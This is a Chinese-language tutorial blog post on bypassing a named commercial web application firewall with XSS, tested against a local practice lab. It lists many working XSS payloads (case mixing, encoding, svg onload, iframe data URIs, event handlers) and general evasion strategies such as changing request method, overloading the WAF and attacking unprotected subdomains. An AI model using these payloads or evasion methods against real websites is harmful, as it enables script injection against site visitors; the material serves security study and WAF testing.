首页 > 其他分享 >【WAF剖析】10种XSS某狗waf绕过姿势,以及思路分析

【WAF剖析】10种XSS某狗waf绕过姿势,以及思路分析

时间:2024-07-25 15:00:45浏览次数:14  
标签:XSS 某狗 10 WAF image 标签 攻击者 绕过 函数

原文:【WAF 剖析】10 种 XSS 绕过姿势,以及思路分析

xss基础教程参考:https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ

sql注入waf绕过文章参考: https://mp.weixin.qq.com/s/Dhtc-8I2lBp95cqSwr0YQw

复现

网站安全狗最新v4.0已经准备好

image-20240722104320515

image-20240722104320515

这里用xsslab进行waf绕过测试

image-20240722102257861

image-20240722102257861

还是一样安全狗waf测试

http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>

image-20240722102220534

image-20240722102220534

基础payload

php

<?php
echo "<script>alert(1)</script>";
?>

img

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>

css

<img STYLE="background-image:url(javascript:alert('XSS'))">

form

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>

input

<input name="name" value="">
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>

iframe

<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

经过测试以上内容皆执行不了,但是还有一个svg没测试

svg!成功了一个,看来v4.0的安全狗没有对svg进行防护,payload如下

<svg onload=alert(1)>

image-20240722103703228

image-20240722103703228

常见的waf绕过payload

1.大小写绕过

<sCript>alert(1)</Script>

image-20240722130044000

image-20240722130044000

2、双写绕过

image-20240722130917202

image-20240722130917202

3、img

image-20240722130953046

image-20240722130953046

4、onmouseover事件

  • <a onm ousemove="do something here"> 当用户鼠标移动时即可运行代码

image-20240722131108228

image-20240722131108228

  • <div onm ouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

image-20240722131353856

image-20240722131353856

5、onclick事件

button

image-20240722131709995

image-20240722131709995

6、onload事件

例如

<svg onload=alert(1)>

之前已经测试过了,svg的onoad事件可以

7、编码脚本绕过关键字

image-20240722132223214

image-20240722132223214

8、主动闭合标签实现注入代码

image-20240722134140300

image-20240722134140300

9、绕过HTML注释符

image-20240722134616530

image-20240722134616530

10、利用换行符绕过

image-20240722134745914

image-20240722134745914

11、绕过右标签

image-20240722134807050

image-20240722134807050

12、绕过</内容>

image-20240722134857902

image-20240722134857902

字典爆破

image-20240722135712030

image-20240722135712030

这个时候直接一个一个去访问即可

image-20240722141703806

image-20240722141703806

这里我们找到一个iframe的payload,尝试访问,成功加载,但是看源码,标签没有闭合

image-20240722141540870

image-20240722141540870

我们在url中闭合这个标签,就可以了

image-20240722141917556

image-20240722141917556

绕过思路

一、更改提交方式

在默认配置下,为了节省资源,许多WAF只会对GET请求进行过滤拦截,而忽略了对POST请求、Cookie、HTTP Header等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将GET请求修改为POST请求,或者通过Cookie、HTTP Header等方式提交恶意脚本,以绕过WAF的拦截。

二、混淆伪装绕过

混淆伪装是一种常见的绕过WAF的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过WAF的关键词过滤规则。例如,将JavaScript代码中的关键字进行大小写混淆(如<scriPT>),或者使用Unicode编码Base64编码等方式对代码进行编码。

三、标签和事件函数变换

XSS攻击主要是通过触发HTML标签中的事件函数来执行恶意脚本。因此,WAF会重点识别能够触发事件函数的HTML标签和事件函数字段。攻击者可以尝试使用其他可以执行JavaScript代码的HTML标签(如<svg>, <button>, <img>等)替换常用的<script>标签,或者使用其他事件函数(如onerror, oninput, onmousedown等)替换常用的onclick事件函数,以绕过WAF的拦截。

四、利用WAF的缺陷和配置不当

  1. 「增加WAF负担」:有些WAF在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向WAF发送大量正常数据包并夹杂异常数据包的方式,增加WAF的负担,从而绕过WAF的检测。

  2. 「利用WAF配置不当」:WAF的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析WAF的配置规则,构造绕过WAF检测的请求。

  3. 「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了WAF防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过WAF的防护。

五、使用自动化工具

自动化工具如XSStrike等可以帮助攻击者自动测试WAF的防护效果,并生成绕过WAF的payload。这些工具通常包含多种绕过WAF的技巧和策略,可以显著提高攻击的成功率。

XSStrike开源地址:https://github.com/s0md3v/XSStrike

六、其他技巧

  1. 「利用伪协议」:某些HTML属性支持伪协议(如javascript:),攻击者可以利用这些属性执行恶意脚本。

  2. 「利用CSS跨站」:在某些情况下,攻击者可以利用CSS中的某些特性(如expression())执行JavaScript代码。

  3. 「利用全局变量和函数」:JavaScript中的全局变量和函数(如eval(), window.onload等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过WAF的防护。

七、举例

这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe,它可以正常访问,说明<iframe>标签没有进行过滤

http://192.168.209.149/level1.php?name=<iframe>

image-20240722143819570

image-20240722143819570

标签没有进行过滤,尝试闭合这个标签,ok正常访问

image-20240722144155301

image-20240722144155301

判断属性src,好没有过滤

image-20240722144230962

image-20240722144230962

加了个=就被拦截了,这时候没法继续了,换个事件试试

image-20240722144259675

image-20240722144259675

image-20240722144611518

image-20240722144611518

这里拿onload尝试

image-20240722144645731

image-20240722144645731

需要注意的是,以上绕过WAF的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和WAF开发者应不断更新和完善WAF的防护策略,提高网站的安全性。

标签:XSS,某狗,10,WAF,image,标签,攻击者,绕过,函数
From: https://blog.csdn.net/xt350488/article/details/140613459

相关文章

  • Meta 发布 LLAMA 3.1;特斯拉无人出租车推迟至 10 月;谷歌将向 Waymo 再投 50 亿美元
    Meta发布LLAMA3.1开源人工智能模型北京时间7月24日,Meta正式发布Llama3.1开源大语言模型,提供8B、70B及405B参数版本。据介绍,Llama3.1系列改进了推理能力及多语言支持,上下文长度提升至128K,首次推出405B参数的旗舰模型。Meta称4050亿参数的Llama3......
  • 三本IEEE会议“一区顶刊”大PK!年发文量>1000+,千万别错过!
    关于IEEE关于IEEEIEEE(TheInstituteofElectricalandElectronicsEngineers,电气电子工程师学会)是目前全球最大的非营利性专业技术学会,在全球160多个国家拥有超过45万名会员。IEEE在电气电子、计算机、半导体、通讯、电力能源、生物医学工程、航天系统工程、消费电子等......
  • Windows 10 三国志13 14 没有声音
    1安装驱动精灵,安装声卡等驱动2打开驱动精灵--百宝箱--系统助手--软件问题--未知的DirectX错误--立即修复修复完成,重新启动win10主机,再次打开三国志13,就有声音(⊙﹏⊙)......
  • ADC滤波的10种经典算法
    A、方法:根据经验判断,确定两次采样允许的最大偏差值(设为A)每次检测到新值时判断:如果本次值与上次值之差<=A,则本次值有效如果本次值与上次值之差>A,则本次值无效,放弃本次值,用上次值代替本次值B、优点:能有效克服因偶然因素引起的脉冲干扰C、缺点无法抑制那种周期性的干扰......
  • debian 和 win10 双系统 挂载分区
    在deepin系统空间不够了,双系统的win10还有挺大空间,于是挪过点给deepin使用。基本步骤在win10中,通过压缩磁盘的方式,制作一个分区。转到deepin下,用parted分区程序标记分区。一lsblk查看设备路径及设备号,/dev/sda6二用partedmkpart标记分区。使用sudomkfs.ex......
  • P10717 题解
    好神仙的题目。赛时胡了一个状态和转移都和官解不同的做法,得到了\(O(n10^m)\)的优秀复杂度。卡了一场常卡进了\(75\)分。这个做法和官解关系不大,并且很难进行最后的优化部分,所以在此不再赘述。首先考虑\(k=1\)的情况。考虑记录一些状态能够描述子树内的选择方案,\(0\)表示......
  • xss flash钓鱼拿到主机控制权
    第一步:本机已经开启phpstudy的web服务第二步:下载Flash项目源码文件,并部署在网站根目录下,访问项目地址:https://github.com/crow821/crowsec/tree/master/crowsec_FakeFlash第三步:来到xssaq平台,点击公共模块---flash弹窗钓鱼-查看将其中的代码保存成js文件放到我们网站的根......
  • [lnsyoj2208/luoguP10737]Reverse Game
    来源原题链接2024.7.25校内测验T1题意给定01串,每次可将其中的10、100、110、1010翻转,无法操作的一方输,求哪方必胜赛时DFS0ptssol可以发现,10减少\(1\)个逆序对,其余都可减少\(2\)个逆序对;同时,当串内存在逆序对时,一定可以翻转(因为一定存在10),因此,我们可以计算串内......
  • 1001 A+B Format
    Calculatea+bandoutputthesuminstandardformat--thatis,thedigitsmustbeseparatedintogroupsofthreebycommas(unlesstherearelessthanfourdigits).InputSpecification:Eachinputfilecontainsonetestcase.Eachcasecontainsapairof......
  • az-104 examtopics Topic 3 Q21-Q40
    Q21ExamAZ-104topic3question21discussion-ExamTopicsYouhaveanAzuresubscriptionnamedSubscription1thatcontainstheresourcesshowninthefollowingtable.Name,Type,Location,ResourcegroupRG1,Resourcegroup,WestUS,NotapplicableRG2,Re......